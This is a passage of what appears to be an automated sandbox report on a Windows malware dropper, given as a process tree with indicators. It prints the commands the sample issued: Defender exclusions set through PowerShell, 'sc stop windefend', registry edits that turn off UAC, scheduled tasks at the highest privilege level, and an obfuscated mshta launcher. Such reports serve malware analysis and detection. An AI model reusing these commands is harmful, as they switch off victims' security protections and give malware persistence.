022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 102 PID 1960 wrote to memory of 5052 1960 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 101 PID 1960 wrote to memory of 5052 1960 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 101 PID 1960 wrote to memory of 5052 1960 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 101 PID 1960 wrote to memory of 5028 1960 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 100 PID 1960 wrote to memory of 5028 1960 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 100 PID 1960 wrote to memory of 5028 1960 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 100 PID 1960 wrote to memory of 4728 1960 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 99 PID 1960 wrote to memory of 4728 1960 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 99 PID 1960 wrote to memory of 4728 1960 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 99 PID 1960 wrote to memory of 4804 1960 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 97 PID 1960 wrote to memory of 4804 1960 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 97 PID 1960 wrote to memory of 4652 1960 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 98 PID 1960 wrote to memory of 4652 1960 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 98 PID 1960 wrote to memory of 4652 1960 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 98 PID 1960 wrote to memory of 2344 1960 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 95 PID 1960 wrote to memory of 2344 1960 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 95 PID 1960 wrote to memory of 2344 1960 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 95 PID 1960 wrote to memory of 2696 1960 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 96 PID 1960 wrote to memory of 2696 1960 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 96 PID 1960 wrote to memory of 2696 1960 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 96 PID 1960 wrote to memory of 2560 1960 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 94 PID 1960 wrote to memory of 2560 1960 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 94 PID 1960 wrote to memory of 2560 1960 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 94 PID 1960 wrote to memory of 2516 1960 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 93 PID 1960 wrote to memory of 2516 1960 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 93 PID 1960 wrote to memory of 2516 1960 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 93 PID 1960 wrote to memory of 4024 1960 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 106 PID 1960 wrote to memory of 4024 1960 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 106 PID 1960 wrote to memory of 4024 1960 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 106 PID 1960 wrote to memory of 2644 1960 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 105 PID 1960 wrote to memory of 2644 1960 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 105 PID 1960 wrote to memory of 2644 1960 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 105 PID 1960 wrote to memory of 1608 1960 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 104 PID 1960 wrote to memory of 1608 1960 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 104 PID 1960 wrote to memory of 1608 1960 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 104 PID 1960 wrote to memory of 648 1960 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 103 -
System policy modification 1 TTPs 4 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" E9X6UUspMsNZ0PBOY9yOxppO.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" hepatocyte.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 80AC.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" scriptwriters.exe
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of UnmapMainImage
PID:3240 -
C:\Users\Admin\AppData\Local\Temp\022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe"C:\Users\Admin\AppData\Local\Temp\022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1960 -
C:\Users\Admin\Pictures\Adobe Films\Uo4Xo4csCcVg5pgA9hXuY4s5.exe"C:\Users\Admin\Pictures\Adobe Films\Uo4Xo4csCcVg5pgA9hXuY4s5.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:4176
-
-
C:\Users\Admin\Pictures\Adobe Films\E9X6UUspMsNZ0PBOY9yOxppO.exe"C:\Users\Admin\Pictures\Adobe Films\E9X6UUspMsNZ0PBOY9yOxppO.exe"3⤵
- Executes dropped EXE
- Drops startup file
- Windows security modification
- Adds Run key to start application
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- System policy modification
PID:2240 -
C:\Users\Admin\AppData\Local\Temp\f5ad82cc-0da7-4925-ace6-449de1285ab7\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\f5ad82cc-0da7-4925-ace6-449de1285ab7\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\f5ad82cc-0da7-4925-ace6-449de1285ab7\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5992 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\f5ad82cc-0da7-4925-ace6-449de1285ab7\test.bat"5⤵PID:1348
-
C:\Windows\system32\sc.exesc stop windefend6⤵PID:3436
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\85637957-760d-4ea8-8f30-3f73bd2a2def\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\85637957-760d-4ea8-8f30-3f73bd2a2def\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\85637957-760d-4ea8-8f30-3f73bd2a2def\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:6004 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\85637957-760d-4ea8-8f30-3f73bd2a2def\test.bat"5⤵PID:5384
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\Adobe Films\E9X6UUspMsNZ0PBOY9yOxppO.exe" -Force4⤵PID:964
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\Adobe Films\E9X6UUspMsNZ0PBOY9yOxppO.exe" -Force4⤵PID:7008
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\Adobe Films\E9X6UUspMsNZ0PBOY9yOxppO.exe" -Force4⤵PID:4036
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe" -Force4⤵PID:572
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe" -Force4⤵PID:5356
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\Adobe Films\E9X6UUspMsNZ0PBOY9yOxppO.exe" -Force4⤵PID:1476
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe"4⤵
- Executes dropped EXE
- Adds Run key to start application
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
- System policy modification
PID:7112 -
C:\Users\Admin\AppData\Local\Temp\cab06ca9-47cd-4a4e-b59b-eec952673008\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\cab06ca9-47cd-4a4e-b59b-eec952673008\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\cab06ca9-47cd-4a4e-b59b-eec952673008\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run5⤵PID:4740
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\cab06ca9-47cd-4a4e-b59b-eec952673008\test.bat"6⤵PID:3560
-
-
-
C:\Users\Admin\AppData\Local\Temp\553d6df5-2e86-4163-9be4-50cd36f37d52\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\553d6df5-2e86-4163-9be4-50cd36f37d52\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\553d6df5-2e86-4163-9be4-50cd36f37d52\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run5⤵PID:3436
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\553d6df5-2e86-4163-9be4-50cd36f37d52\test.bat"6⤵PID:3444
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe" -Force5⤵PID:6500
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵PID:5028
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe" -Force5⤵PID:4908
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe" -Force5⤵PID:4644
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Program Files\Common Files\System\sememe\svchost.exe" -Force5⤵PID:3024
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe" -Force5⤵PID:7412
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Program Files\Common Files\System\sememe\svchost.exe" -Force5⤵PID:7752
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"5⤵PID:7212
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Program Files\Common Files\System\sememe\svchost.exe" -Force4⤵PID:860
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\Adobe Films\E9X6UUspMsNZ0PBOY9yOxppO.exe" -Force4⤵PID:3332
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Program Files\Common Files\System\sememe\svchost.exe" -Force4⤵PID:5504
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"4⤵PID:5720
-
-
-
C:\Users\Admin\Pictures\Adobe Films\Dc2cGIo8H66p8bqWXY8d5sy2.exe"C:\Users\Admin\Pictures\Adobe Films\Dc2cGIo8H66p8bqWXY8d5sy2.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
PID:3324
-
-
C:\Users\Admin\Pictures\Adobe Films\SuSwq6ZbytaKosolrsdxuaTC.exe"C:\Users\Admin\Pictures\Adobe Films\SuSwq6ZbytaKosolrsdxuaTC.exe"3⤵
- Executes dropped EXE
PID:4620
-
-
C:\Users\Admin\Pictures\Adobe Films\_oukjeZ_kla3Aiol140mLVmm.exe"C:\Users\Admin\Pictures\Adobe Films\_oukjeZ_kla3Aiol140mLVmm.exe"3⤵
- Executes dropped EXE
PID:5008 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5008 -s 2804⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:5956
-
-
-
C:\Users\Admin\Pictures\Adobe Films\2sLZGnwA8HriCh8TxRV3x7hs.exe"C:\Users\Admin\Pictures\Adobe Films\2sLZGnwA8HriCh8TxRV3x7hs.exe"3⤵
- Executes dropped EXE
PID:1432
-
-
C:\Users\Admin\Pictures\Adobe Films\WJgWulYLEFinITcgUMZXyIrr.exe"C:\Users\Admin\Pictures\Adobe Films\WJgWulYLEFinITcgUMZXyIrr.exe"3⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:1036 -
C:\Program Files (x86)\Company\NewProduct\cutm3.exe"C:\Program Files (x86)\Company\NewProduct\cutm3.exe"4⤵
- Executes dropped EXE
PID:1712
-
-
-
C:\Users\Admin\Pictures\Adobe Films\DgLcL52s5fuUTHkP9A7_9q1c.exe"C:\Users\Admin\Pictures\Adobe Films\DgLcL52s5fuUTHkP9A7_9q1c.exe"3⤵
- Executes dropped EXE
PID:2768
-
-
C:\Users\Admin\Pictures\Adobe Films\iJ3HRZcMmv1l2v1Ha5zD_MPf.exe"C:\Users\Admin\Pictures\Adobe Films\iJ3HRZcMmv1l2v1Ha5zD_MPf.exe"3⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:2516 -
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST4⤵
- Creates scheduled task(s)
PID:6176
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST4⤵
- Creates scheduled task(s)
PID:1624
-
-
C:\Users\Admin\Documents\JwX8BRq3d9XcCTWFaXd9sbty.exe"C:\Users\Admin\Documents\JwX8BRq3d9XcCTWFaXd9sbty.exe"4⤵
- Executes dropped EXE
PID:1076 -
C:\Users\Admin\Pictures\Adobe Films\wMRHZxmDnN06BIb1svy_pOUH.exe"C:\Users\Admin\Pictures\Adobe Films\wMRHZxmDnN06BIb1svy_pOUH.exe"5⤵
- Executes dropped EXE
PID:5884
-
-
C:\Users\Admin\Pictures\Adobe Films\q2_jjJTsIUzhmGqicrkPNjYJ.exe"C:\Users\Admin\Pictures\Adobe Films\q2_jjJTsIUzhmGqicrkPNjYJ.exe"5⤵PID:4208
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4208 -s 2766⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:6216
-
-
-
C:\Users\Admin\Pictures\Adobe Films\eKDrXNoWQdVqaAJwdWLmVvaZ.exe"C:\Users\Admin\Pictures\Adobe Films\eKDrXNoWQdVqaAJwdWLmVvaZ.exe"5⤵PID:5952
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5952 -s 2966⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:5900
-
-
-
C:\Users\Admin\Pictures\Adobe Films\LHnzFYdxKc_gnQtfUduV_w9I.exe"C:\Users\Admin\Pictures\Adobe Films\LHnzFYdxKc_gnQtfUduV_w9I.exe"5⤵PID:1896
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1896 -s 17646⤵
- Program crash
PID:1904
-
-
-
C:\Users\Admin\Pictures\Adobe Films\vVSV80BeWGNUEHdpalA3gZWd.exe"C:\Users\Admin\Pictures\Adobe Films\vVSV80BeWGNUEHdpalA3gZWd.exe"5⤵PID:5048
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\Pictures\Adobe Films\vVSV80BeWGNUEHdpalA3gZWd.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If """" == """" for %M in (""C:\Users\Admin\Pictures\Adobe Films\vVSV80BeWGNUEHdpalA3gZWd.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )6⤵PID:4524
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\Pictures\Adobe Films\vVSV80BeWGNUEHdpalA3gZWd.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""=="" for %M in ("C:\Users\Admin\Pictures\Adobe Films\vVSV80BeWGNUEHdpalA3gZWd.exe" ) do taskkill -f -iM "%~NxM"7⤵PID:5944
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -iM "vVSV80BeWGNUEHdpalA3gZWd.exe"8⤵
- Kills process with taskkill
PID:7360
-
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\taOOmjUk5xD6cNgkYPD6mJIw.exe"C:\Users\Admin\Pictures\Adobe Films\taOOmjUk5xD6cNgkYPD6mJIw.exe"5⤵PID:1556
-
-
C:\Users\Admin\Pictures\Adobe Films\DMxOky3fPLdbuAbmlCGtIt1a.exe"C:\Users\Admin\Pictures\Adobe Films\DMxOky3fPLdbuAbmlCGtIt1a.exe"5⤵
- Loads dropped DLL
PID:5812 -
C:\Users\Admin\AppData\Roaming\Calculator\setup.exeC:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=16⤵
- Loads dropped DLL
- Adds Run key to start application
PID:8140 -
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--bo6y9QQgnM"7⤵
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
PID:4240 -
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exeC:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x21c,0x220,0x224,0x1f8,0x228,0x7fffe9d5dec0,0x7fffe9d5ded0,0x7fffe9d5dee08⤵
- Loads dropped DLL
PID:4296
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1724,5456320662593829198,10236297156770314360,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4240_850242167" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1780 /prefetch:28⤵
- Loads dropped DLL
PID:1620
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1724,5456320662593829198,10236297156770314360,131072 --lang=en-US --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4240_850242167" --mojo-platform-channel-handle=1832 /prefetch:88⤵
- Loads dropped DLL
PID:6492
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1724,5456320662593829198,10236297156770314360,131072 --lang=en-US --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4240_850242167" --mojo-platform-channel-handle=2120 /prefetch:88⤵PID:8404
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Calculator\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1724,5456320662593829198,10236297156770314360,131072 --disable-gpu-compositing --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4240_850242167" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --mojo-platform-channel-handle=2544 /prefetch:18⤵PID:1452
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Calculator\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1724,5456320662593829198,10236297156770314360,131072 --disable-gpu-compositing --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4240_850242167" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --mojo-platform-channel-handle=2640 /prefetch:18⤵PID:5228
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1724,5456320662593829198,10236297156770314360,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4240_850242167" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=2832 /prefetch:28⤵
- Modifies registry class
PID:6268
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1724,5456320662593829198,10236297156770314360,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4240_850242167" --mojo-platform-channel-handle=1996 /prefetch:88⤵PID:6784
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1724,5456320662593829198,10236297156770314360,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4240_850242167" --mojo-platform-channel-handle=1800 /prefetch:88⤵PID:8272
-
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\3AX2JQ3lZXv3VLoelF5woHq8.exe"C:\Users\Admin\Pictures\Adobe Films\3AX2JQ3lZXv3VLoelF5woHq8.exe"5⤵PID:3972
-
C:\Users\Admin\AppData\Local\Temp\is-R02GU.tmp\3AX2JQ3lZXv3VLoelF5woHq8.tmp"C:\Users\Admin\AppData\Local\Temp\is-R02GU.tmp\3AX2JQ3lZXv3VLoelF5woHq8.tmp" /SL5="$1042A,506127,422400,C:\Users\Admin\Pictures\Adobe Films\3AX2JQ3lZXv3VLoelF5woHq8.exe"6⤵
- Loads dropped DLL
PID:1412 -
C:\Users\Admin\AppData\Local\Temp\is-2IMRL.tmp\DYbALA.exe"C:\Users\Admin\AppData\Local\Temp\is-2IMRL.tmp\DYbALA.exe" /S /UID=27097⤵
- Drops file in Drivers directory
- Adds Run key to start application
- Drops file in Program Files directory
PID:1616 -
C:\Users\Admin\AppData\Local\Temp\2c-783b2-1ed-c38b4-42adcb09ce42c\SHofukaehidae.exe"C:\Users\Admin\AppData\Local\Temp\2c-783b2-1ed-c38b4-42adcb09ce42c\SHofukaehidae.exe"8⤵PID:5848
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.profitabletrustednetwork.com/e2q8zu9hu?key=a971bbe4a40a7216a1a87d8f455f71e69⤵
- Adds Run key to start application
- Enumerates system info in registry
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
PID:8540 -
